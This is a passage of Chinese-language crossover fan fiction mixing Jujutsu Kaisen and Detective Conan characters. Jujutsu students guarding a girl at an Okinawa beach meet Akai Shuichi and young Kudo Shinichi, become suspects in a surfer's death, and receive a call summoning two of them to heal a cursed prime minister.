两人一起发出了嗤笑。
孔时雨耸耸肩。
“你说的数,也不是不能谈。”他说,“但得先拿个计划出来给人看。怎么样,有想法吗?”
“有啊。”
伏黑甚尔扯了扯嘴角,露出一个嘲讽的笑,“……当然有。”
*
“那个时候一定有人在偷看!”
次日,冲绳的海滩上,五条悟盘腿坐在太阳伞下,举着一根海滨饮料吧特地做得花里胡哨的爱心吸管,斩钉截铁地说。
“琼纪也是那么说。”
旁边的夏油杰搅动着分层的饮料。
他花了一秒钟,思考了一下为什么唯独自己没有任何感觉。
——难道是因为当时刚从昏厥中醒来的天内理子,对着琼纪就喊姐姐大人,指着他却叫怪刘海……被中二期小女孩的无礼发言分散了注意力的缘故?
……哦。那就不是很抱歉了。能不能尊重一下他的发型啊。
而且现在一回想,琼纪好像还录了音。是不是人啊?
离两人不远处的浅海区域,中二少女天内理子正拉着她的监护人黑井摸海星,发出开心的笑声。
这个为了献祭而在无菌环境里被养大的少女,在即将献出自己的生命与灵魂之前,终于短暂地拥有了出远门游玩、单纯的快乐时刻。
而更远一些的地方,两个同期女生开着一辆水上摩托,像飞一样驰过海面,身后扬起高高的白色浪花。硝子抱着琼纪的腰,两人大声地说着什么,脸上的表情也闪闪发光。
她们两个,一个被关在加茂家的糺山结界里十五年,能有现在的自由全凭她自己努力,偷跑出来上了高专;一个是珍贵的反转术式持有者,自从被发现后也受到不少限制。
再加上沙滩上暂时充当留守儿童的两个男生——他们这一行人,会在任务途中,像是修学旅行一样出现在冲绳的海滨浴场,是有原因的。
事情的经过既复杂又简单。
复杂指的是外部因素,而简单,说的是他们的处理方式。
暗网上针对天内挂出了三千万的48小时限时悬赏,诅咒师如虫豸般蜂拥而来,发动花样百出的袭击,被他们一一打退。
然而黑井落单时遭到暗算,被绑架到了冲绳。他们追过来解救她,事情也解决得非常顺利。
同化的时间在明天的日落后,赶回高专的时间还很充裕。冲绳远离本岛,也远离已经暴露的星浆体原所在地,在这里度过剩下的悬赏时间很合适。
因此众人一拍即合,决定就在这里玩个痛快再回去。
虽然如此,他们当然也没有放下警惕。
昨天晚上入住酒店的时候,就用咒术师超乎常人的五感,辅以夏油杰操纵的咒灵,对酒店里的客人进行了一番排查。
而且果然有不少发现。
和他们同一层的套房,经过时隐约听见了有人在念一些类似“杀人手法”、“凶器要用不显眼的……”、“藏尸地点安排在哪里好?”之类的话语。
结果探查之后,发现那是正在赶稿的侦探小说家,疑似是他们刚拿到手办的小说角色,暗夜男爵的创作者工藤优作。
有某两个人差点当场敲门进去要签名,此处我们隐去具体姓名。
第二天早上醒来,察觉楼上有人打架。而且
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隔着楼板都能听见拳风,战况似乎很激烈。
以为是追过来的诅咒师互相打了起来,夏油杰当即破窗而出,坐上蝠鲼飞上去看情况。
片刻后回来说那是人伦惨案,一对母子在互殴。毫不留情地照着对方的眼睛砸,原因好像是儿子想加入FBI而身为MI6的母亲不同意。
好drama的剧情。世界上真是时时刻刻地在发生各种各样的事。
夏油杰大为感慨:“普通人的世界也真是复杂啊。”
而且不愧是特工和特工预备役,感知都敏锐得不像是非术师。夏油差一点就被他们看见了。
总之,他们住的酒店,可以说是卧虎藏龙。
眼下,坐在海滩边的五条悟和夏油杰,两人都换下了高专制服,穿着敞开的海滩风格衬衫和沙滩裤。
少年气十足的脸庞与语调,身型却绝不是少年的单薄。肩膀宽而平直,露出的腹肌块垒分明,十分引人注目。
夏油杰将一个滚过来的沙滩排球扔回去,接球的一边隐约传来害羞的笑声。
但是两人没太在意,还在聊当时暗中的窥视者。
既然五条悟和加茂琼纪都有所感知,那时候他们当然去查看了相应方向的所有可能地点。
然而就连六眼,都并没有找到什么术师的咒力残秽。
这只有两种可能,要么那时候的视线只是某个普通人,好奇公寓楼的动静,看得太久引起了两人的警觉;要么那就是个非常强大的术师,可以确切地消除掉自己的所有痕迹。
虽然这种等级的人,应该不至于为一个区区三千万的悬赏出动——咒术界的金钱观念,随便一把咒具,价格单位可都是亿。
但他们还是将这件事放在了心上。五条悟更是从那时起,就一直开着无下限术式。
“感觉还好吗,悟?”
夏油杰关切地问。
“没问题。”
五条悟笑了一下,握拳砸了一下他的胸口,说,“而且硝子也在这里——啊。”
他抬起头,“硝子回来了。”
家入硝子远远地走过来,脸上还残留着痛快玩耍过后的笑意。手臂里搭着两件打湿的外套,棕色短发的发梢不时地滴落水珠。
她走进阳伞下,先把外套放在椅背上,然后端详了一下五条悟的面色,伸手示意他解除术式,好给他刷新过劳的大脑。
五条悟鼓着脸接受治疗。夏油杰看了看四周,有点疑惑:“琼纪呢?”
“刚才鞋带断了,她去海之家再买一双。”
硝子朝商铺的方向望了一眼,忽然弯起唇角,“不过现在……看起来是被FBI搭讪了啊。”
“啊??”
7. 第 7 章
春日阳光宜人,南国潮湿的海风吹拂着额发。
赤井秀一戴着墨镜,躺在海滨浴场的沙滩椅上。
时隔七年与家人再度会面,不过数小时,已经两次与母亲不欢而散。
被羽田家收养的弟弟,和出生以来第一次见面的妹妹,想必都被吓到了,走开之前两人都是一脸的担忧。
远方的海面上浮动着碎光。海水在前方轻缓地涌动。
四周人群的笑闹逐渐化为无意义的背景音。他闭上眼,意识与思绪也逐渐飘散,融入这不绝的波涛之底。
他想到失踪了的父亲,似乎已然放弃了的母亲。想起七年前骤变的人生,隐匿的庞大的未知,生死与黑暗的谜题,他那被评价为头脑发热的计划;想起兼职的酒吧里的笑声,手风琴奏响的音乐……
赤井秀一无意识地动了动手指。
忽然间,不远处的说话声,模糊地传入了耳中。
“美女……一个人……我们陪你啊……”
“我们可是……绰绰有余……”
轻浮的音调,糟糕的台词。
赤井秀一睁开一边的眼睛,隔着墨镜镜片看过去。
那是三个高大的男性,围着一名抱着冲浪板的少女。三个男人从外形与衣着上看,都像是自我感觉良好的富家子弟;女孩被围在中间,看不清面孔,只是莫名地感觉她像是一块冰。
与此同时,他清晰地听见了少女冷淡的声音。她说:“没兴趣。走开。”
被下了面子的搭讪者脸上表情均是一僵,隐隐流露出愠怒。
赤井秀一坐直起来。
但下一刻其中有人就按捺住了情绪,嬉皮笑脸地说:“别那么冷漠嘛小妹妹。你想冲浪不是吗?我们可都是水上运动社团的,和久还刚在欧洲拿到了冲浪比赛的冠军。我们可以教你啊!”
被提到名字的人露出了自得的神情,正要凑上前去,女孩把手里的冲浪板横抱过来,顺手就把三个人都拍开了。
这场面有些滑稽,赤井秀一觉得有点好笑。
而少女的身影也显露了出来。毋庸置疑地是出众的美人,身材高挑,皮肤白得像冰——他那奇异的感觉并不是没有来由。
她穿着海之家买来的款式简单的泳装,动作之间能察觉到隐于柔软肌肤之下的,修长均匀的肌肉束。秀一毫不怀疑,她那足踝纤细的腿,一下就能把这三人踹进海里。
而三人还毫无所觉地在夸夸其谈。
大约是被冲浪板打了一下终于注意到了,名为和久的冲浪冠军指着浪板上的标签,卖弄地说:“你肯定没学过冲浪吧?浪板都是刚买的。所以你被店员骗了!新手应该用软板,只有我这样的老手才能用硬板。”
他暧昧地笑起来:“当然啦,让我来教你就不用担心用什么板子了,你要是掉下来,我一定会——”
“说不定姐姐也是老手啊?”
几人的小腿边,忽然冒出来一个稚嫩的童音。
众人低头一看,是一个黑发蓝眼的小男孩。六七岁的年纪,双手抱胸一脸神气,头发后面翘起小小的一撮。
面对年龄比他大两倍的大人也丝毫不怯场,理直气壮地说:“大哥哥的推理有问题。姐姐看起来就是经常运动的人。而且姐姐的泳衣也是店里卖的简单款式。”
“说不定姐姐只是临时过来这里,自己的东西都没有带上,又突然想玩冲浪了,所以才去店里买了硬板呢?”
虽然都是孩子的用语,但是词句清晰,理由也很充分。
说完自己的看法之后还有点骄傲,用期待肯定的闪亮眼神看向少女。
少女怔了一下,露出一点笑来。
好像是湖面上薄冰散开,现出一点潋滟的内里。
在小男孩的灼灼目光中,她说:“真亏你记得店里女式泳衣的款式啊。”
旁边的赤井秀一:幸好之前没说话。
小孩一秒破功:“说、说什么!我只是陪老妈还有小兰——!”
“你一个小鬼懂什么!”
被小孩反驳了,和久怒气上涌。刚才对着美女不好发作,但现在就只是个小鬼,他瞪过去,“硬板是要上蜡的,不然没有摩擦力,在海里根本站不稳。刚买来的浪板怎么用?你总不会说她连泳装都没带,却把蜡带在身边了吧?”
“……诶?”
被说到了知识盲区,小孩有点脸红地愣住了。
“哼。现在知道了吧。”
扳回一城的和久洋洋得意地挥手驱赶,“走走走。小鬼不要管大人的事。”
“就是就是。”
另外两人也附和,“想要跟美女搭话,你这小子还早了十年呢!”
“才不是……”
“该走的是你们。”
小朋友的抗争才开了个头,少女已经走到了他的身边。
她伸手按了一下小孩的脑袋——说是摸头也不像,更像是把人当扶手。或许是家里也有年纪相仿的小孩子,姿势竟然还有点熟练。
少女并没看那三人一眼,很随便地说:“长得丑的男人不要跟我说话。”
轻飘飘的一句话,但是对自视甚高的家伙来说,攻击性实在是非常强大。
连番被不留情面地拒绝,三人立刻涨红了脸,捏起拳头气势汹汹地就要上前:“你这女人!不识抬举也要有个限度——”
一记凌厉的标指,忽然戳到了他们的眼前。
旁观了许久的赤井秀一出手了。他的指锋精准地停在和久的眼球前一厘米处,吓得原本满脸怒气的青年脸色煞白,缩小的瞳孔颤动地盯着极近距离的手指。
被护在后面的少女微微挑眉。
赤井秀一稳稳地维持着这个危险的姿势,用从容的声音说:“这样对待女士真是让人看不下去啊。不如让我来教教你们应该怎样做,而这双眼睛就当作学费吧。”
“希望你们也不要不识抬举。”
“你!”
“……!!”
三人怨愤地望了他们一眼,连滚带爬地跑了。
赤井秀一收势回头,还没来得及说些什么,就望进了一双幽紫色的眼睛。
那样幽郁又华美的颜色——少女看着他,并不说话,眼神里有一点奇异的审视。
像是在好奇这个一直在旁围观的人,为什么忽然横插一手;又好像根本并不在意这点小事,是为了其他的事情而观察他。
那会是为什么……?
秀一一时也没有开口。
视线中,少女盘起的黑发被微微打湿,越发显得颜色乌沉。几缕湿发黏在鬓边,细小的水珠缓缓地渗出来,沿着雪白的肌肤向下滑落。
无声之中,有一种惊心动魄的美感。
是腿边男孩的声音,打断了这片刻无言的对视。
“那个,想要冲浪的姐姐。”
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男孩一脸费解,“你现在可以告诉我了吧?你真的是初学者,被店员骗了吗?这样的话我们可以一起去找他们退还的!”
少女移开了视线。
她低头看向男孩,含笑说:“这么坚持啊。”
“那当然!我可是福尔摩斯的弟子!”
“啊。”
赤井秀一笑了一下,说,“这个问题,我也很想知道。”
“哦。”
女生用眼尾瞥他一眼,对男孩说,“事情是这样的。姐姐是个运动小天才,不用上蜡也可以在海里站稳。”
“……”
男孩露出半月眼,“这是在敷衍我吧。”
“没有呀。没有板我也可以在海里站稳。”
“这已经是在骗人了!!”
就在此时,三个方向同时响起了声音。
左边,一对年轻夫妻,带着一个刘海蓬起一个小尖的女孩,对着男孩的方向喊“新酱,原来你跑到这里来了”;
后面,金发碧眼的女子,身后的少年牵着个男孩子气的小女孩,有些犹豫地叫“秀哥……”;
但是这两边的声音,都被右边传来的震撼发言淹没了。
“琼纪!你说!这个野男人是谁!”
一瞬之间就冲到了面前的五条悟,愤怒地一把摘下了墨镜,露出那张得天独厚的面孔。
白发少年按住她的肩膀,无比耀眼的蓝眼睛里全是控诉。
他用墨镜镜架直指面露诧异之色的青年,怒道,“为什么在这里和他说话,难道你忘了对我的承诺吗!”
“悟,你太冲动了。”
夏油杰紧随而至,阳光照耀他古典俊秀的面容,“你为什么要为别人的错,来苛责我们的琼酱?”
含着一丝忧愁,他牵起琼纪的手,深情款款地说,“但是,我也不能允许,别人把你从我的身边夺走——我的小蛋糕——”
“……………………”
琼纪沉默地盯着近在咫尺的,同期男生的两张熠熠生辉的骗人的脸。
远处年轻夫妻中的妻子,发出小声的激动尖叫。
但这还没有完。
缓缓踱步过来的硝子,看着被包围了的琼纪,非常刻意地,幽幽地叹了一口气。
“我可能没有立场向你要解释。”
她站在一旁,忧郁又倦怠地说,“但是,尽管如此……”
一切仿佛尽在不言中。
琼纪:“……………硝子。”
硝子若无其事:“嗯。”
给她最后一击的人,是一无所知的天内理子。
清纯可爱的国中少女站在水里,迷茫又紧张,惊疑不定地看着这幅场景:“……姐姐大人……?”
琼纪:“……………………”
赤井秀一看看这一圈人,又看看她,忽然笑了一声。
“关于长相的那句,原来你是认真的。”
他说,“那我能和你说话吗?”
“果然是搭讪啊!!不行!我不允许!你这个偷腥猫!”
“我也不同意。琼酱,我们之间不能再有更多的人了——”
琼纪面无表情地抓起冲浪板,啪地一声拍在两个同期男生的脸上。
“都给我死。”
她抬起手,指间凝聚幽紫色的咒力,向开始逃窜的两人追去,“不是不想离开我吗。别跑啊?!”
8. 第 8 章
五条悟:“裂时、枯光、流风诸相。”
琼纪:“位相、黄昏、智慧之瞳。”
夏油杰:“你们俩干什么呢,忽然念对方的咒词。”
吸引了整个海滩目光的追杀,以琼纪成功把两人头上都砸出大包的成果结束。
三人结伴去买冰沙,站在队伍里交头接耳,嘀嘀咕咕。
目睹这一切的路人纷纷露出“真青春啊”的微笑表情。
“悟先念我才念的。”琼纪说,“你问他。”
“是你先吧!刚才没有念咒词吗?最后那一下的输出根本不正常!”
“没有啊。”琼纪有点高兴,“真的吗?我自己都没注意到。”
“连无下限都直接打穿了啊!感觉那一下反转术式都要被你逼出来了。”
“那不是超级大好事吗。你的赫一直放不出来,不就是因为还没法反转咒力。”
“是哦。”五条悟跃跃欲试地说,“那你再来一下,这一回把咒词也带上。”
“住口。”
夏油杰一边按住一个,“还在任务中啊。而且带上咒词的【息】,会把整个海滩都抹消掉的吧,你们想回去写报告吗?”
五条悟不满地撇撇嘴。
琼纪无辜地说:“我还没答应呢。而且重点是报告吗?”
“……”
夏油杰决定略过这个疏漏。
他也有些好奇,“所以是怎么回事?确实我也有点感觉,最近你的普通攻击,破坏力又变强了。不是也在练习术式反转吗?”
“好像就是因为术式反转。”
琼纪垂下眼睛,若有所思地张握了几下右手。
手心隐隐有淡金色的光芒闪现,她说,“虽然还没有完全掌握,不过尝试去理解术式的另一面,可能因此触摸到了术式更多的本质和核心。所以顺转的效率也提高了。”
夏油思索:“听起来像共鸣。但是性质相反的术式效果也可以共鸣吗?这太少见了吧。”
五条:“有意思,完全没见过!相性这么好,说不定能应用出一个扩张术式。”
术式的所有者琼纪说:“直觉来说不止。”
“极之番?”
“还说不清楚。如果有机会打一发黑闪出来就好了,那样应该能看得更明白一些。”
夏油:“那不是寄希望于偶然和概率吗?”
“那我的同期可以脚踏实地地变强,然后来帮我打出黑闪吗。”
夏油杰失笑。
“难得听你说出了愿意依靠他人的话。结果还是要黑闪啊?”
琼纪无视他的调侃,挑眉:“杰不想要吗?”
“就是。”
五条悟挑衅:“杰说这种话,好像是确信自己以后也打不出黑闪来呢。”
夏油:“……能不能打出来,要不要现在就去试试啊。”
琼纪:“刚才是谁说在任务中的?回去写报告。”
三人一边讨论咒术一边斗嘴。队伍快排到了,又挑剔地选了一会冰沙的口味。
冰沙口味的看板旁边,店铺里的悬挂电视在播放首相遇刺的突发新闻。
大冈首相重伤送医,凶手已经被捕,动机调查中。记者聚集在医院外围,闹哄哄地等消息,拍摄匆匆赶来的政要。
众人身上因各类情绪而产生的复杂的“念”,隔着电视屏幕都要透过来了。一副下一秒生出一只二级咒灵也不奇怪的场景。
三人对这种事都没什么兴趣。只有琼纪立刻给冥冥发消息,片刻后和冰沙一起收到了回复,说正在适当地抛售某些资产,建议她也这么做。
琼纪:“倒也没有这种规模的资产……”
“冥小姐根本就是想要咨询费了吧。”
夏油说。
回去的时候听见了动听的乐声。
是FBI预备役在拉手风琴。戴着墨镜和鸭舌帽的青年坐在阳伞下,露出的下半张脸线条冷峻,看起来和乐器与艺术不太相搭。但是他的手指灵活地在黑白琴键上跳跃,风箱拉动间,手下自然地流泻出悦耳悠扬、犹如微风的曲调。
三个小孩在他面前捧着脸蹲成一排,听得很入神。家长站在远一些的地方,也是面带微笑。
转头一看,他们这边的小理子也是一样的姿势,琼纪过去摸了摸她的头。
不知道那个人演奏的是什么,从旋律听来,像是异国的歌谣。
“好像是苏格兰高地的民谣,我在音乐课上听过。”
在西式教会学校上学的理子在琼纪手下抬起头,脸红扑扑的,很高兴地说,“记得是叫做《WildMountainThyme》,''野山百里香'',又或者《PurpleHeather》,''紫色欧石楠''……”
她望进含笑注视自己的,美丽的紫色眼眸,忍不住有点震惊地睁大了眼睛,“啊!”
“怎么了?”
刚被FBI搭讪过的姐姐大人问她。
“没什么……”
理子说着,不确定地往乐声传来的方向又看了看——那个人,刚才是不是稍微笑了一下?
一曲终了,海滩上人们纷纷送上掌声。借出手风琴的海滨酒吧乐队成员吹口哨起哄,笑着过来打趣他。
众人气氛正好的时候,突然间,不远处传来了惊恐的尖叫。
“和久……!”
一群拿着各式水上运动装备的社团成员中,有人指着海里沉浮的一个身影,慌张地叫道,“那是和久吗?为什么……”
“救生员?救生员在哪里?”
救生员还离得很远。赤井秀一面色一肃,把手风琴塞回乐队成员怀里,几步就冲过去,先于还在迟疑的所有人跳进海里,游过去将人带了回来。
然而当他湿淋淋地上岸时,表情却不像是成功救了人,看起来有点沉重。
赤井秀一将人放平在沙滩上。
被他放下的那个面色惨白、毫无声息的男性,赫然就是之前向琼纪搭过话、又被秀一吓跑的冲浪冠军和久。
和久的同行者,尤其是不久前与他在一起的那两人,惊呼着想要过来查看,被赶到的救生员拦下,开始进行急救。
秀一走到旁边。
救人的时候,他就已经发现对方颅骨断裂,并且呼吸心跳均已停止,出水后口鼻处也没有泡沫,已经不属于早期的淹溺表现,救活的可能性不大了。
而且,在对方的指甲里,他看见了一些异样的蜡块……
赤井秀一思索着。
他那不再被墨镜遮挡的,锐利的墨绿色眼眸,冷静地扫视过周围的一切——表情糟糕的水上运动成员,惊慌的游客群。被母亲和弟弟拉住的妹妹。
侦探男孩拿着他掉下的帽子跑过来,他的父母在后面拨打手机报警。
最后他看见了稍远一些的地方,紫色眼睛的女孩和她的同伴们。
在这充满了慌张面孔的海滩上,他们一行人显得格外平静,甚至超然。好像是颜料混乱的画作上一笔突兀的淡彩。
她微微侧头,正在听旁边的棕发女生说话。看口型隐约是……
“没救了。”
硝子用客观的语气说,“颅骨闭合性骨折,看样子是穿透了硬脑膜窦,脑脊液也漏出了。不过还不能肯定就是致死伤,更可能是昏迷后溺水死的。”
琼纪点点头。
她看也是。那个人身上属于非术师的微弱咒力已经完全消失,变成了和他躺着的沙子没有两样的存在。
不久后救护车和警察先后到来,同样宣布了死讯。
“从伤口上看,应该是冲浪时撞上了礁石,撞击昏迷后溺亡。”
冲绳县警听过医生的诊断后,推测说,“虽然很不幸,但可以初步判断,这是一起意外事故。”
然而死者的同伴无法接受。
“不可能,和久可是冲浪冠军!这里的浪也根本不大,怎么会出现这种事?”
之前和死者在一起的男性一号,不断强调死者冠军身份的越谷昌利说。
“不,和久根本没有去冲浪啊!”
男性二号,中野智叫道。
越谷:“什么?他不是说要去的吗?”
其他人:“越谷你刚才走开了没看到……和久的冲浪板用石头压在沙滩上,还是中野看见了拿回来的。”
经过他们的讲述,众人才明白事情的经过。
原来大约在两小时以前,出去搭讪的三人灰溜溜地
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回来。
和久生气地拿走了自己的冲浪板说要去换个心情,并且火气很大地拒绝了要一起去的越谷。
越谷和中野也都有点讪讪,越谷说去小酒馆买饮料,而中野则说去逛商店——或许只是丢了面子想要独处一下的托词,两人很快就先后回来了,和其他人一起打牌闲聊玩乐。
过了一个多小时,和几人一起去租橡皮艇的中野,在礁石后面看见了和久的冲浪板。
需要说明的是,冲浪板不用时为了防止被风吹走,应该用沙子盖起来。但和久的冲浪板是用石头压住的,压在板头和板尾。
可能是仓促之间离开,捡两块石头比捧沙子方便。
“虽然说这样会损坏浪板……但是因为是和久,所以这种事也很正常。”
社员说,“他家里很有钱,所以连定制的浪板都从来不爱惜。”
中野帮他把浪板拿了回来。和久没有带其他的冲浪板,当然没可能在冲浪,也不可能是意外撞上礁石溺死。
“肯定是叫走他的人把他打晕了,然后扔进海里杀害的!”
中野愤怒地叫道。
老练的刑警投去审视的目光。
“你是说海滩上有人谋杀了死者?但你们是游客,和这里的其他人都不认识。会有人非要杀了他不可吗?”
刑警盯着他,“说起来——从死者离开人群后,到冲浪板被带回之前,这段时间里,你也单独离开过吧。”
“……还有越谷!越谷说要去酒馆——谁知道他是不是真的去了!”
“你说什么呢!”
“而且……”
稍微退离两人的社员尴尬地说,“从上午到现在,和久和你们惹了不少事吧……”
“是啊。踢坏了阳伞丢钱给别人,在海之家也跟店员吵架了。”
“还去搭讪了女孩子……是不是被人赶走了?”
一旁,站在赤井秀一身边旁听案情的工藤新一,露出半月眼:“喂喂,这也太会招人恨了吧……”
场面一时混乱起来。
不远处,夏油杰微微皱眉。
“在想什么,杰?”
琼纪问他。
“之前我从那个人身上,收走了一只三级。”
夏油杰看着互相指责中的一人,若有所思地说,“当时以为没有事了……结果没有咒灵还是会死人啊。”
“弄反了吧。”
琼纪说,“是先有会死人的情绪出现,才产生咒灵。咒灵消失也不代表最初的情绪不存在了。”
“只是会被咒灵害死的人不会死了而已……你是要说这个吧。”
夏油杰叹了口气,“这种事,我也不是不明白。只是忽然在想——强者绞尽脑汁地去保护弱者的生存,结果弱者还是在互相杀害啊。”
“你对强弱的区分还真是固执。”
琼纪抱臂说,“非术师也不是都在互相杀害的吧。刚刚不还听到了挺好听的曲子吗?”
说到这里,两人一同看向了那边的一大一小。
FBI预备役已经非常自然地开始插手破案,正在检查证物之一的冲浪板。而聪明的小朋友也十分积极地在帮忙。
夏油杰笑了笑。
“当然也有可贵之处。不过可贵和丑恶不能抵消吧。”
“这就是问题所在吧。”琼纪随意地说,“为什么只有负面情绪会产生咒灵,正面情绪为什么就不可以产生反向咒灵、精灵之类的东西呢。让他们先打一场,咒术师就不会这么忙了。”
“…………啊。呼神护卫吗?”
“嗯?那是什么。”
“是反向咒灵。”
夏油杰表情中那一点微不可查的阴翳,已经完全消失了。笑着伸手去摸她的头发,很怜爱地说,“我们的琼酱,还有很多流行文化要补习呢。”
“我要吐了。”
琼纪面无表情地转向他。
“这不是很可爱吗,小——”
“你也想躺那边吗。”
“小蛋糕。^_^”
“裂时、枯光——”
五条悟:“好耶,打起来!”
“咒词不行对不起是我的错我们回去再打——啊!”
9. 第 9 章
“啊?嫌疑人?”
琼纪、五条、夏油。三人同时露出了疑惑的表情,指向自己,“我们?”
对面是案件侦查中的几人。冲绳县警一脸头疼,半信半疑,旁边是冲在前面指控的越谷和中野。
赤井秀一站在他们的稍后方,不动声色。小新一皱着眉毛,看上去对这个说法非常怀疑。
再远一些的地方,是两人的亲属,以及事件相关的水上运动社团成员。
几人还没来得及多说些什么,五条悟先发出了大声的爆笑。
“哈哈哈哈哈哈哈!!”
他拍着桌子狂笑,桌面上的玻璃杯子撞得叮当作响,“认真的吗?是什么人还要我们三个一起去杀啊?安倍晴明吗?”
“……为什么会说到年代这么久远的人?!”
正在认真思考的新一脚下一滑。
能像传说中的大阴阳师御使式神一样御使咒灵的夏油杰说:“也可能是崇德天皇。”
以血液诅咒闻名后世的崇德天皇,是加茂家的血裔。加茂琼纪说:“又或者是菅原道真。”
“古代人越来越多了!”
“三大怨灵说了两个,下一个是不是要说平将门了?!”
以怨灵之身被奉为天神的菅原道真的后人,五条悟说:“不,这里没有姓禅院的。”
“那又是什么……”
三人把期待的目光转向硝子。
硝子:“我也要提名吗?”
“嗯嗯!”
硝子说:“九十九由基。”
“……”
“硝子!怎么回事啊!”
“我这不是很务实的提名吗。”
“也不能因为别人不干活就去杀她吧硝子?”
“总觉得在某个地方这是合理的理由。”
“要打的话应该也……”
“你被传染了吗杰?是什么不讲道理的地方啊!”
“不好意思。”
硝子坦然地说,“那就天元吧。”
“…………”
三人的表情一时都有点古怪。
琼纪说:“硝子,太直白啦。”
“有什么关系。”硝子说,“反正总要说的。”
“倒也是。但是会吓到人啊。”
“嗯嗯??”
旁边的天内理子睁大眼睛,蹦了起来,“你们要对天元大人做什么?!”
“看吧,吓到了。”
“理子大人!”
刚刚因为听见了九十九由基的名字,有些出神的黑井美里,连忙去抱住活力十足的小女生,“请小心,这样很危险——”
这几个人闹起来,比刚才全部社员一起说话时还让人头疼——至少那边人说的话能让人听懂。
老刑警头痛地说:“这都是什么啊?”
“是这样的。”
夏油杰上前,一副好学生的模样,摆出温文尔雅的笑容解释,“因为我们都是宗教学校的学生,所以偶尔……”
“什么?”
另一头,工藤有希子惊呼,“不会吧,我以为你们是演艺学校的预备生呢!还想着介绍认识的导演给你们,之后也能尽快在银幕上看见赏心悦目的后辈……这不是太可惜了吗?”
听见这位大明星的发言,五条悟露出了很明显的享受表情。夏油杰也隐隐地有点自得。
暗爽.jpg
“喂喂……”
眼见话题越跑越偏,小新一无语地说,“事情的重点完全错了吧?”
“这不是挺有意思的吗。”
赤井秀一微微一笑,看着那边意气风发的少女,和她的同伴们。
同样关注着高专一行人的工藤优作,露出若有所思的神情。
“真是的。”小朋友不满,“认真一点啊。”
“你们也是啊。”
琼纪走过去,又按了一下小朋友的脑袋,“说我们是嫌疑人,认真的吗?理由是什么?”
理由还是有的。
首先,寻找嫌疑人的依据是作案时间与作案动机。
目前满足两项条件的是越谷与中野。案发时间内两人都独自行动过,也都与和久有过龃龉。
唯一的问题是死者头部伤口在前而非脑后,排除了趁其不备的背后袭击。三人体型相当,正面袭击很难不发生搏斗,而两人身上都没有明显的伤口。
在两人之外,就是海滩上曾与他们发生过冲突的——被踢坏了阳伞的一家人心情不好,在三人搭讪琼纪前就离开海滩回酒店了;吵过架的海之家店员一直当班,许多人都能证明他没有离开过。
于是只剩下搭讪的事。
最先被提起的,是直接逼退了死者的秀一。不过即便不考
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虑他不假思索下水救人的行为,他的行动也始终有人目击。
而不巧,琼纪三人没有。虽然他们跑开的时候也吸引了许多目光,但是并没人看见全程,因为他们的移动速度实在是太快了。
而且,不能公开的是,他们确实离开过,去处理了一个追来的诅咒师,没有完整的不在场证明。
因此三人被列入了考量。
被晾在一边很久,找不到机会也不敢插话的越谷与中野两人,终于找到时机说话了。
“肯定是他们!是那个女生来叫和久的话,和久肯定想也不想的就会跟着去的!所以连冲浪板都丢下了!”
“然后由那两个男生制服和久,打晕了他!”
两人言辞凿凿。
“这么说的话,你们两位合作也能做到吧。”
秀一好整以暇地说。
小朋友也明察秋毫:“而且搭讪姐姐的事情,和另外的两件事不一样吧?”
“是你们被手风琴大哥哥赶走了,应该是你们怀恨在心。姐姐和她的朋友为什么要因为这个杀人?”
“这,这谁知道……”
越谷憋得内伤。
中野则是大叫:“但是他们刚才说到杀人的时候一点都不在意吧?那种态度——”
“真是够了。”
姓木手的警官严厉地说,“想洗脱自己的嫌疑,污蔑别人是没用的。再讲下去让你们吃苦瓜。”
“……?”
琼纪没忍住笑了一下。
“苦瓜可是冲绳特产呢。”
硝子悠闲地说。
就在这时,琼纪的手机响了起来。
是夜蛾正道打来的电话。她心下微动,向同期们示意后,拿起手机走到了远处的礁石后面。
接通后便听见班主任说:“琼纪。你带着硝子,现在立刻搭最近的一班飞机去京都。会有人在那里接应你们。”
“夜蛾老师?”
琼纪拧起了眉。
“是总监部的决定。有极端的宗教分子刺杀首相……”
“总监部现在连非术师的政治都要插手了吗?”
“拿的是咒具。”
夜蛾正道说,“伤口残留的诅咒,非术师的医疗手段无法治愈。现在只有硝子能治疗他。”
“星浆体的任务交给悟和杰,你们快出发吧。”
10. 第 10 章
“我不去。”
琼纪说,“硝子也不会去。总监部这么了不起,让他们自己派人过去。”
“别闹脾气。首相要是就这样因为诅咒死了会发生什么事,你不需要我多做解释吧。”
夜蛾正道平静地应对。
“我们走不开。就不能用飞机运过来吗?那可是首相。”
“那可是首相,你讲点道理。”
“您也讲点道理,这边是天元的任务。”
“……”
“搞不好咒术界的基础也会毁灭哦。非过去不可吗?首相而已,和总监会一样,有八百个人等着坐上他的位置,换谁不一样呢。”
琼纪换了一只手拿手机,说,“我们这边有藏起来的不得了的诅咒师在窥视啊?悟一直开着无下限,我们都很认真地在做任务。今晚本来可以轮班守夜的,有硝子在不会很辛苦。我们走掉的话,他们俩怎么办?”
“……他们两个也可以轮班守夜。杰放出咒灵来警戒,和悟轮换休息。”
班主任沉默了几秒,说,“你和我说也没有用。诅咒导致的事件,无论大小,应该由咒术界的人来平息。”
“如果现在是普通的民众被咒具刺伤,总监部会紧急叫走硝子吗?”
“且不论这是无意义的假设。你是要说,你们知道有民众发生这种事,也会袖手旁观吗?”
“……”
“首相除了是首相,也还是个人。刚才和那边通话的时候,能听见他的孙女在哭。”
“……”
琼纪瞪了一会手机的屏幕。然后不太高兴地说,“您是故意的吧。”
“你也没说实话吧。”班主任说。
“您真想听吗?”
琼纪用脚尖拨弄了一下地上的沙子。细密的沙砾间,有一些亮晶晶的碎片,反射出万千重湛蓝的远天。
她漫无目的地盯着这些光点,轻声说,“还是不要了吧,我们能解决。再说您自己的麻烦事也已经够多了。”
“…………抱歉。”
“又不是您的问题。”
琼纪说,“京都我和硝子会去的。但是我也有一件事想拜托您。”
“你说。”
“您能联系到九十九由基小姐吗?”
*
挂断电话后琼纪才后知后觉地意识到一个现实问题。那就是,她现在似乎是命案的嫌疑人,应该不能轻易地离开现场。
要说解决方法,也并不是没有。毕竟是要去治疗首相,想必联络接应的人,自上而下几通电话就能摆平。但是这种做法太过总监部,光是想想就让人不爽。
琼纪不太情愿地拧着眉。
这时有人从礁石后面转了出来。高大的身材,帽檐压低,英挺的面容上微微带笑。一双沉着的墨绿色眼睛,眼底的情绪却令人想到隐燃的暗火。
“这种表情可不适合你啊。”
赤井秀一看着她,有些戏谑地说。
琼纪抬起眼睫,散漫地瞥了他一眼。
她说:“听够了吗?”
秀一笑了。
“这可不能怪我。或者说,不能全怪我。”
